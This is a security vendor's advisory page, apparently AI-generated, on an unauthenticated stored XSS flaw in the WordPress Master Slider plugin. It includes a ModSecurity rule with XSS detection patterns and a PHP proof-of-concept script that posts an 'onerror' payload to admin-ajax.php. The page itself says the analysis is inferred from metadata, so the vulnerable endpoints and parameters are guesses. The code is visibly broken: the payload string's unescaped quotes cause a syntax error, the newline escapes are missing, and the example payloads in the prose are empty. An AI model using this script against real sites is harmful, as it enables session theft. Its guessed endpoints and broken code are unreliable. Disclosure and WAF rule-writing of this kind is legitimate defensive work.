Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 25, 2026

CVE-2026-56014: Master Slider – Responsive Touch Slider <= 3.11.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin master-slider
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.11.2
Patched Version
Disclosed June 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-56014 (metadata-based):

This vulnerability allows unauthenticated stored cross-site scripting in the Master Slider – Responsive Touch Slider plugin for WordPress, affecting versions up to 3.11.2. The CVSS score is 7.2 (High) with a network attack vector, low complexity, no privileges required, and no user interaction. The scope is changed, meaning the injected script can affect other web pages beyond the vulnerable application.

Root Cause: The CWE-79 classification and description indicate insufficient input sanitization and output escaping. Based on Atomic Edge analysis, the likely vulnerable component is a slider creation or editing feature that accepts user-supplied data (possibly via AJAX endpoints or shortcode attributes) and stores it in the database without proper sanitization. When the slider is rendered on a page, the plugin fails to escape the stored data, allowing arbitrary HTML and JavaScript injection. This conclusion is inferred from the CWE and description, as no code diff is available.

Exploitation: An unauthenticated attacker can target the plugin’s AJAX handlers or REST API endpoints that process slider data. The plugin uses actions like ‘master_slider_add_slider’ or ‘master_slider_save_slider’ under /wp-admin/admin-ajax.php. The attacker sends a POST request with an action parameter and a payload parameter (e.g., ‘slider_data’) containing a crafted JavaScript payload like ‘‘ or ‘alert(document.cookie)’. Since the plugin lacks input validation and nonce verification for unauthenticated requests, the malicious data is stored and executed when an administrator or visitor views affected pages.

Remediation: The fix requires implementing proper input validation and output escaping. The plugin should use WordPress functions like ‘sanitize_text_field’ or ‘wp_kses_post’ when saving slider data, and ‘esc_html’ or ‘esc_attr’ when rendering the data in HTML contexts. Additionally, the plugin must enforce authentication and nonce checks for all administrative AJAX actions to prevent unauthenticated access to write operations.

Impact: Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user visiting pages containing the malicious slider. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the attack requires no authentication and no user interaction, the potential for widespread compromise is significant.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-56014 (metadata-based)
# Block unauthenticated stored XSS via Master Slider AJAX actions
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-56014 - Master Slider XSS via AJAX',severity:'CRITICAL',tag:'CVE-2026-56014'"
  SecRule ARGS_POST:action "@rx ^master_slider_" "chain"
    SecRule ARGS_POST:slider_data "@rx <script|<img.*onerror|<svg.*onload|javascript:" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-56014 - Master Slider – Responsive Touch Slider <= 3.11.2 - Unauthenticated Stored Cross-Site Scripting

// Configuration: Set the target WordPress URL with the vulnerable plugin
$target_url = 'http://example.com'; // Change this to the target WordPress site

// Endpoint: WordPress AJAX handler
$ajax_endpoint = $target_url . '/wp-admin/admin-ajax.php';

// The exact AJAX action is inferred from common plugin patterns; adjust if needed
$action = 'master_slider_add_slider'; // or 'master_slider_save_slider'

// XSS payload: stored and executed when slider is rendered
$payload = '<img src=x onerror=alert('XSS')>';

// Construct POST data matching the plugin's expected parameters
$post_data = array(
    'action' => $action,
    'slider_data' => json_encode(array(
        'title' => 'Malicious Slider',
        'content' => $payload,
        'settings' => array()
    ))
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check response
if ($http_code == 200 && strpos($response, 'true') !== false || strpos($response, 'success') !== false) {
    echo "[+] Exploit likely successful. Check the target site for executed payload.n";
    echo "[+] Payload: $payloadn";
} else {
    echo "[-] Exploit may have failed. HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School